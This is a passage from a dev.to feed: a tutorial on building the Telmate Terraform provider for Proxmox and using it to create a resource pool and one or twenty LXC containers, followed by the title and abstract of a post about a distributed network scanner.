&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpzmqhbh52g454w9b9wxt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpzmqhbh52g454w9b9wxt.png" alt="peek at the code" width="800" height="430"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And surprisingly easy to install. After installing the &lt;code&gt;go compiler&lt;/code&gt; and &lt;code&gt;build-essentials&lt;/code&gt; package on ubuntu, &lt;code&gt;make&lt;/code&gt; does the trick.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fug63etoiyts9idzb43hn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fug63etoiyts9idzb43hn.png" alt="building terraform from source" width="703" height="218"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The resulting provider binary &lt;code&gt;terraform-provider-proxmox&lt;/code&gt; is stored in &lt;code&gt;./bin&lt;/code&gt; directory.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F05fspgtfhp3y8tatgfn3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F05fspgtfhp3y8tatgfn3.png" alt="terraform-provider-proxmox binary built in bin directory" width="800" height="136"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  2. Where does terraform search/find provider binaries
&lt;/h4&gt;

&lt;p&gt;By default terraform will directly fetch providers from Hashicorp and cache them in &lt;code&gt;~/.terraform/plugins&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;What we can do if we want to run a custom built provider is to put it in a directory structure similar to the one below.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsokh9p7ntkwu6wllcm9j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsokh9p7ntkwu6wllcm9j.png" alt="directory strucuture for terraform plugins on system" width="555" height="211"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can now invoke this provider in our terraform files as follows.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="c1"&gt;# lxc-example.tf&lt;/span&gt;
&lt;span class="k"&gt;terraform&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;required_providers&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;proxmox&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="err"&gt; &lt;/span&gt; &lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;source&lt;/span&gt; &lt;span class="err"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"terraform.local/telmate/proxmox"&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="err"&gt; &lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;provider&lt;/span&gt; &lt;span class="s2"&gt;"proxmox"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;pm_tls_insecure&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;pm_api_url&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"https://localhost:8006/api2/json"&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;pm_password&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"donthackmeplease"&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;pm_user&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"root@hostname"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  The containers
&lt;/h2&gt;

&lt;h4&gt;
  
  
  1. A minimal lxc container
&lt;/h4&gt;

&lt;p&gt;At this point, to get a little confidence in my understanding of this provider i wanted to create a simple terraform file to spin for me an lxc container in a designated pool on proxmox.&lt;/p&gt;

&lt;p&gt;So  this exercise consisted of creating an lxc container:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;within a choosen Pool (pools are kind of resource groupings in proxmox with common administrative policies, this pool was created because proxmox allows for visually grouping resources into pools, hence primarily for aesthetic purposes)&lt;/li&gt;
&lt;li&gt;with 1024MB of RAM&lt;/li&gt;
&lt;li&gt;2vCPU&lt;/li&gt;
&lt;li&gt;is connected to the internet over virtual switch &lt;code&gt;vmbr0&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;starts immediately after creation.&lt;/li&gt;
&lt;li&gt;is based on lxc ubuntu 22.04 template&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To achieve this we can read  the example terraform file &lt;code&gt;terraform-provider-proxmox/examples/lxc_example.tf&lt;/code&gt; to spin an lxc container provided by the code base. However, we could get more insight about the terraform directives which will help us achieve our requirements by reading directly the file &lt;code&gt;terraform-provider-proxmox/proxmox/resource_lxc.go&lt;/code&gt; as it is an entrypoint into the Schema definition of an lxc resource from the point of view of terraform (it basically maps the way terraform understands what an lxc container is to what proxmox understands it to be).&lt;/p&gt;

&lt;p&gt;Similarly  the file &lt;code&gt;terraform-provider-proxmox/proxmox/resource_pool.go&lt;/code&gt;  provides the Schema definition of  a &lt;code&gt;Pool&lt;/code&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Create Pool &lt;code&gt;TestPool1&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="c1"&gt;# lxc-example.tf&lt;/span&gt;
&lt;span class="k"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"proxmox_pool"&lt;/span&gt; &lt;span class="s2"&gt;"pool-test"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;poolid&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"TestPool1"&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;comment&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"Just a test pool"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;The lxc container
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="k"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"proxmox_lxc"&lt;/span&gt; &lt;span class="s2"&gt;"lxc-test"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;pool&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;proxmox_pool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pool-test&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;poolid&lt;/span&gt; &lt;span class="c1"&gt;# depends on pool-test&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;target_node&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"pve"&lt;/span&gt; &lt;span class="c1"&gt;# node of your cluster on which deployment should be done&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;cores&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;memory&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;hostname&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"bot"&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;password&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"rootroot"&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;network&lt;/span&gt; &lt;span class="err"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"eth0"&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;bridge&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"vmbr0"&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;ip&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"dhcp"&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;start&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="c1"&gt;# start after creation&lt;/span&gt;

&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="c1"&gt;# using ubuntu container template&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;ostemplate&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"local:vztmpl/ubuntu-22.04-standard_22.04-1_amd64.tar.zst"&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;rootfs&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;storage&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"local-lvm"&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;size&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"8G"&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;ostemplate&lt;/code&gt; points to the volume on which is found the lxc template of your container, and follows some kind of promox's address notation.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd6lcovexdf8qvq82byv3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd6lcovexdf8qvq82byv3.png" alt="ostemplate is special location to lxc template" width="800" height="314"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This special notation ultimately resolves to local filesystem paths, as shown below for the address storage notation for our &lt;code&gt;ubuntu-22.04-standard_22.04-1_amd64.tar.zst&lt;/code&gt; template.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgzih4b8tk0adqeyyhvkj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgzih4b8tk0adqeyyhvkj.png" alt="ostemplate resolves to location in /var/lib/vz/template/cache of system" width="798" height="168"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;rootfs&lt;/code&gt; specifies the &lt;code&gt;storage&lt;/code&gt; (where the vm disk would be stored) and its &lt;code&gt;size&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fydpmz8uhctrez6uxgw8l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fydpmz8uhctrez6uxgw8l.png" alt="rootfs is local-lvm in my case" width="800" height="340"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Testing:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;terraform init
&lt;span class="nv"&gt;$ &lt;/span&gt;terraform plan  &lt;span class="c"&gt;# just to check&lt;/span&gt;
&lt;span class="nv"&gt;$ &lt;/span&gt;terraform apply
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F32zehcwnea9d4tjd2kty.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F32zehcwnea9d4tjd2kty.png" alt="Testing the Deployment" width="589" height="310"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg7inb7tcfmd8jmrledfu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg7inb7tcfmd8jmrledfu.png" alt="Results" width="800" height="283"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I developed an overly simple mental model through studying this code base, which might be useful in case you find yourself in need to extend/add support for some proxmox feature to this code base&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbpojn0blc1zrj5lke1mz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbpojn0blc1zrj5lke1mz.png" alt="Mental Model for Telmate/proxmox" width="642" height="745"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;terraform cli&lt;/code&gt; depends on &lt;code&gt;Telmate/terraform-provider-proxmox&lt;/code&gt; for Schema definitions.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Telmate/terraform-provider-proxmox&lt;/code&gt; binds the Schema definitions to promox JSON API using &lt;code&gt;Telmate/proxmox-api-go&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Telmate/proxmox-api-go&lt;/code&gt; ultimately interacts with the proxmox server via its API.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The uniform naming conventions used throughout the Telmate codebase makes so that a Schema directive's name is exactly the same name as in the Proxmox Core API.&lt;br&gt;
 So we an directly refer ourselves to the proxmox API docs to get description / information about the role/purpose of a Schema directive.&lt;/p&gt;
&lt;h4&gt;
  
  
  2. Spinning 20 lxc containers
&lt;/h4&gt;

&lt;p&gt;We spin &lt;code&gt;n=20&lt;/code&gt; containers, we can use terraform's &lt;code&gt;count&lt;/code&gt; meta-argument.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="k"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"proxmox_pool"&lt;/span&gt; &lt;span class="s2"&gt;"pool-test"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;poolid&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"TestPool1"&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;comment&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"Just a test pool"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"proxmox_lxc"&lt;/span&gt; &lt;span class="s2"&gt;"lxc-test"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;count&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt; &lt;span class="c1"&gt;# create 20 lxc containers&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;pool&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;proxmox_pool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pool-test&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;poolid&lt;/span&gt; &lt;span class="c1"&gt;# depends on pool-test&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;target_node&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"pve"&lt;/span&gt; &lt;span class="c1"&gt;# node of your cluster on which deployment should be done&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;cores&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;memory&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;hostname&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"bot-&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;password&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"rootroot"&lt;/span&gt;

&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;network&lt;/span&gt; &lt;span class="err"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"eth0"&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;bridge&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"vmbr0"&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;ip&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"dhcp"&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;start&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="c1"&gt;# start after creation&lt;/span&gt;

&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="c1"&gt;# using ubuntu container template&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;ostemplate&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"local:vztmpl/ubuntu-22.04-standard_22.04-1_amd64.tar.zst"&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;rootfs&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;storage&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"local-lvm"&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="err"&gt; &lt;/span&gt; &lt;span class="nx"&gt;size&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"8G"&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After running &lt;code&gt;terraform apply&lt;/code&gt; we get&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4w5cndgj124t1k3qn6nm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4w5cndgj124t1k3qn6nm.png" alt="Terraform apply" width="673" height="481"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We have them, 20 containers created in pool &lt;code&gt;TestPool1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvthovh5q76z2zlagko9z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvthovh5q76z2zlagko9z.png" alt="20 lxc containers" width="800" height="632"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Just as easily as we created them, we can destroy them back using &lt;code&gt;terraform destroy&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Furjlcyvzumt1jk74ugno.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Furjlcyvzumt1jk74ugno.png" alt="Terraform destroy" width="630" height="369"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://pve.proxmox.com/pve-docs/api-viewer/#/nodes/%7Bnode%7D/lxc" rel="noopener noreferrer"&gt;https://pve.proxmox.com/pve-docs/api-viewer/#/nodes/{node}/lxc&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pve.proxmox.com/pve-docs/pve-admin-guide.html#_volumes" rel="noopener noreferrer"&gt;https://pve.proxmox.com/pve-docs/pve-admin-guide.html#_volumes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://developer.hashicorp.com/terraform/language/meta-arguments/depends_on" rel="noopener noreferrer"&gt;https://developer.hashicorp.com/terraform/language/meta-arguments/depends_on&lt;/a&gt; (resource dependency)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developer.hashicorp.com/terraform/language/meta-arguments/count" rel="noopener noreferrer"&gt;https://developer.hashicorp.com/terraform/language/meta-arguments/count&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>rag</category>
    </item>
    <item>
      <title>Building a distributed network scanner (Cthulhu-net)</title>
      <dc:creator>r0psteev</dc:creator>
      <pubDate>Thu, 10 Nov 2022 13:48:46 +0000</pubDate>
      <link>https://dev.to/r0psteev/building-a-distributed-network-scanner-cthulhu-net-1nh7</link>
      <guid>https://dev.to/r0psteev/building-a-distributed-network-scanner-cthulhu-net-1nh7</guid>
      <description>&lt;h2&gt;
  
  
  Abstract
&lt;/h2&gt;

&lt;p&gt;This experimental work, was conducted to hands-on appreciate the concepts of &lt;strong&gt;vertical scaling&lt;/strong&gt; vs &lt;strong&gt;horizontal scaling&lt;/strong&gt; in relation to distributed systems.&lt;/p&gt;

